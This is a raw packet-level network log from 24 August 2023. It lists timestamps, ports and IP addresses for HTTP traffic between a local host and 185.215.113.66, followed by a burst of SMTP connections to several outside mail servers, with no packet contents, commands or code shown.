Aug 24, 2023 19:03:16.903698921 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903704882 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903743029 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903749943 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903788090 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903803110 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903830051 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903831959 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903877020 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903913975 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903920889 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903942108 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903966904 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903978109 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904015064 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904027939 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904088020 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904145002 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904148102 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904192924 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904217005 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904237032 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904242039 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904278994 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904284954 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904335022 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904366970 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904390097 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904400110 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904453039 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904493093 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904499054 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904545069 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904558897 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904583931 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904588938 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904634953 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904647112 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904678106 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904679060 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904723883 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904752970 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904771090 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904776096 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904814959 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904830933 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904859066 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904882908 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904902935 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904907942 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904948950 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904954910 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.904993057 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.904994965 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905038118 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905050039 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905086040 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905087948 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905138016 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905152082 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905221939 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905237913 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905282021 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905282974 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905343056 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905397892 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905461073 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905525923 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905534029 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905534029 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905534029 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905534029 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905576944 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905581951 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905632973 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905637026 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905683994 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905692101 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905742884 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905746937 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905795097 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905805111 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905853987 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905859947 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905913115 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905921936 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.905977964 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.905980110 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.906033993 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.906034946 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.906086922 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.906090021 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.906142950 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.906147003 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.906198025 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.910770893 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.911005020 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.915347099 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973447084 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973515034 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973594904 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973643064 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973659039 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973690033 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973697901 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973737955 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973767996 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973803997 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973804951 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973850965 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973872900 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973907948 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973913908 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.973973989 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.973980904 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974018097 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974026918 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974065065 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974091053 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974112988 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974159002 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974163055 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974204063 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974206924 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974221945 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974252939 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974284887 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974298000 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974344969 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974347115 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974394083 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974404097 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974425077 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974450111 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974456072 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974497080 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974522114 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974543095 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974551916 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974589109 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974606991 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974634886 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974657059 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974694967 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974694967 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974752903 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974757910 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974814892 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974814892 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974870920 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974877119 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974915981 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974929094 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.974958897 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.974962950 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.975003958 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.975024939 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.975049019 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.975076914 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.975091934 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.975116968 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.975147009 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977018118 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977180004 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977230072 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977271080 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977276087 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977310896 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977322102 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977325916 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977371931 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977488041 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977550030 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977579117 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977627039 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977644920 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977673054 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977689028 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977716923 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977730989 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977772951 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.977781057 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.977824926 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042551994 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042617083 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042642117 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042665005 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042696953 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042711020 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042711973 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042753935 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042757034 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042800903 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:17.042802095 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.042851925 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:17.198250055 CEST	49778	25	192.168.2.8	213.120.69.2
Aug 24, 2023 19:03:17.230060101 CEST	25	49778	213.120.69.2	192.168.2.8
Aug 24, 2023 19:03:17.230277061 CEST	49778	25	192.168.2.8	213.120.69.2
Aug 24, 2023 19:03:17.300602913 CEST	25	49778	213.120.69.2	192.168.2.8
Aug 24, 2023 19:03:17.300652027 CEST	25	49778	213.120.69.2	192.168.2.8
Aug 24, 2023 19:03:17.300805092 CEST	49778	25	192.168.2.8	213.120.69.2
Aug 24, 2023 19:03:17.302743912 CEST	49778	25	192.168.2.8	213.120.69.2
Aug 24, 2023 19:03:17.334505081 CEST	25	49778	213.120.69.2	192.168.2.8
Aug 24, 2023 19:03:17.416218042 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.433403969 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.475647926 CEST	49781	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:17.479362011 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:17.491394043 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:17.529877901 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.530014038 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.547236919 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.547406912 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.615776062 CEST	25	49781	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:17.615916014 CEST	49781	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:17.644457102 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.644661903 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.661994934 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:17.662141085 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:17.662337065 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.662580013 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:17.662676096 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.662714958 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:17.667702913 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.722593069 CEST	49785	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:17.757822037 CEST	49786	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:17.758181095 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.758379936 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.758533001 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.776649952 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.776705027 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.776962042 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.781536102 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.781701088 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.835041046 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:17.840102911 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:17.840332031 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:17.847783089 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:17.848519087 CEST	49785	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:17.872279882 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.872561932 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.890927076 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.891236067 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.896687031 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:17.897027969 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.902802944 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:17.904786110 CEST	25	49781	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:17.904923916 CEST	25	49781	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:17.904993057 CEST	49781	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:17.905092001 CEST	49781	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:17.932013988 CEST	25	49786	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:17.932393074 CEST	49786	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:17.995181084 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.003566027 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.003756046 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.008111954 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.009397030 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.009675026 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.010765076 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.010902882 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.011184931 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.017689943 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.018007994 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.029086113 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.044018984 CEST	25	49781	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:18.046612024 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.070022106 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.072066069 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:18.072426081 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:18.095576048 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.125240088 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.125740051 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.132805109 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.133153915 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.140620947 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.141132116 CEST	49785	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:18.164330959 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.165612936 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.165687084 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.173568964 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.173824072 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.177442074 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.178527117 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.178752899 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.179729939 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.179814100 CEST	49783	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.183896065 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.184019089 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.201256990 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.201457024 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.234280109 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.234347105 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.234386921 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.234445095 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.234504938 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.234620094 CEST	49780	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.236875057 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.249973059 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.250103951 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.250406981 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.256196022 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:18.256421089 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:18.269329071 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.269383907 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.269763947 CEST	49785	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:18.278244019 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.278491974 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.283902884 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.292745113 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.298706055 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.298950911 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.337054014 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.337523937 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.337565899 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.337907076 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.342088938 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.342942953 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.343292952 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.346524954 CEST	25	49783	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.348171949 CEST	25	49780	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.352381945 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.352442980 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.352483034 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.352627039 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.352667093 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.352875948 CEST	49779	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.357804060 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.365402937 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.365803003 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.393129110 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.393708944 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.394638062 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.394727945 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.396411896 CEST	49785	25	192.168.2.8	144.160.235.143
